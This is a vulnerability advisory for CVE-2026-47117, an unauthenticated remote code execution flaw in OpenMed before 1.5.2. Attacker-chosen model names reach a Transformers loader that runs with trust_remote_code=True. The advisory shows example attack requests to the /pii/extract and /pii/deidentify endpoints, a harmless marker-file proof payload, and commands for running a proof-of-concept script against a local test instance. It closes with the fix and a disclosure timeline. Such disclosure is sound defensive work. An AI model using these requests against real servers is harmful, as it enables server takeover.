
OpenMed < 1.5.2 unauthenticated RCE via PII privacy-filter model loading and trust_remote_code=True
Severity: Critical, CVSS 4.0 9.3, CVSS 3.1 9.8 (assigned by VulnCheck, the CNA)
Vector (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Vector (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected: OpenMed < 1.5.2
Fixed in: 1.5.2
CWE: CWE-94 (Improper Control of Generation of Code, Code Injection)
Reported by: Sai Teja Erukude
CNA: VulnCheck
Published: June 2, 2026
OpenMed before 1.5.2 contains an unauthenticated remote code execution vulnerability in the PII privacy-filter model loading path.
The REST API endpoints POST /pii/extract and POST /pii/deidentify accept a model_name value from the request body. In vulnerable versions, the privacy-filter dispatcher used broad substring matching on this attacker-controlled value. A model name such as attacker/foo-privacy-filter-bar could therefore route into the privacy-filter backend.
On non-MLX/Torch deployments, that backend loaded Hugging Face model artifacts through Transformers with trust_remote_code=True. If the attacker-controlled model repository contained custom Transformers code referenced through auto_map in config.json or tokenizer_config.json, Transformers imported and executed that Python code during model or tokenizer loading.
The imported code executed with the privileges of the OpenMed service process.
An unauthenticated remote attacker who can reach the OpenMed REST API may execute arbitrary Python code on the server by supplying a malicious Hugging Face-style model identifier in model_name.
Depending on the service deployment, this can allow:
The issue is reachable through both PII endpoints because both accept model_name and use the same PII extraction/model loading path:
POST /pii/extract
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
The vulnerable control flow has two trust-boundary failures:
model_name when selecting the privacy-filter backend.trust_remote_code=True.The dispatcher treated any model identifier containing privacy-filter as part of the privacy-filter family. This allowed attacker-controlled identifiers, for example attacker/foo-privacy-filter-bar, to reach a code path intended for trusted first-party Privacy Filter models.
Once routed there, Transformers could load attacker-controlled custom code through auto_map. This import happens during model/tokenizer loading, before any useful inference has to succeed. A proof payload can therefore be as small as:
from pathlib import Path
Path("marker.txt").write_text(
"custom Transformers code executed via trust_remote_code\n",
encoding="utf-8",
)
poc_exploit.py builds a harmless local Hugging Face-style model directory whose name contains privacy-filter. The generated custom Transformers modules write a marker file when imported. The script then sends a request to a test OpenMed API instance with that directory as model_name.
The expected behavior on vulnerable OpenMed versions is:
model_name.trust_remote_code=True.Run against a local test instance only:
pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract
If the OpenMed service runs somewhere that cannot access the generated local directory, publish an equivalent test model to a controlled Hugging Face repository and pass that identifier explicitly:
python poc_exploit.py \
--target http://127.0.0.1:8000 \
--model-name your-org/foo-privacy-filter-bar \
--marker marker.txt
Upgrade to OpenMed 1.5.2 or later.
OpenMed 1.5.2 separates routing from trust:
privacy-filter no longer route through the trusted privacy-filter path.PrivacyFilterTorchPipeline defaults trust_remote_code to False.OPENMED_TRUSTED_REMOTE_CODE_MODELS.If immediate upgrade is not possible:
model_name values to Transformers with trust_remote_code=True.| Date | Event |
|---|---|
| May 18, 2026 | Vulnerability submitted to VulnCheck |
| May 20, 2026 | VulnCheck initiated coordinated disclosure outreach |
| May 22, 2026 | CVE-2026-47117 provisionally allocated |
| June 1, 2026 | OpenMed 1.5.2 fix reviewed and confirmed |
| June 2, 2026 | CVE-2026-47117 published |
Discovered and reported by Sai Teja Erukude, coordinated through VulnCheck.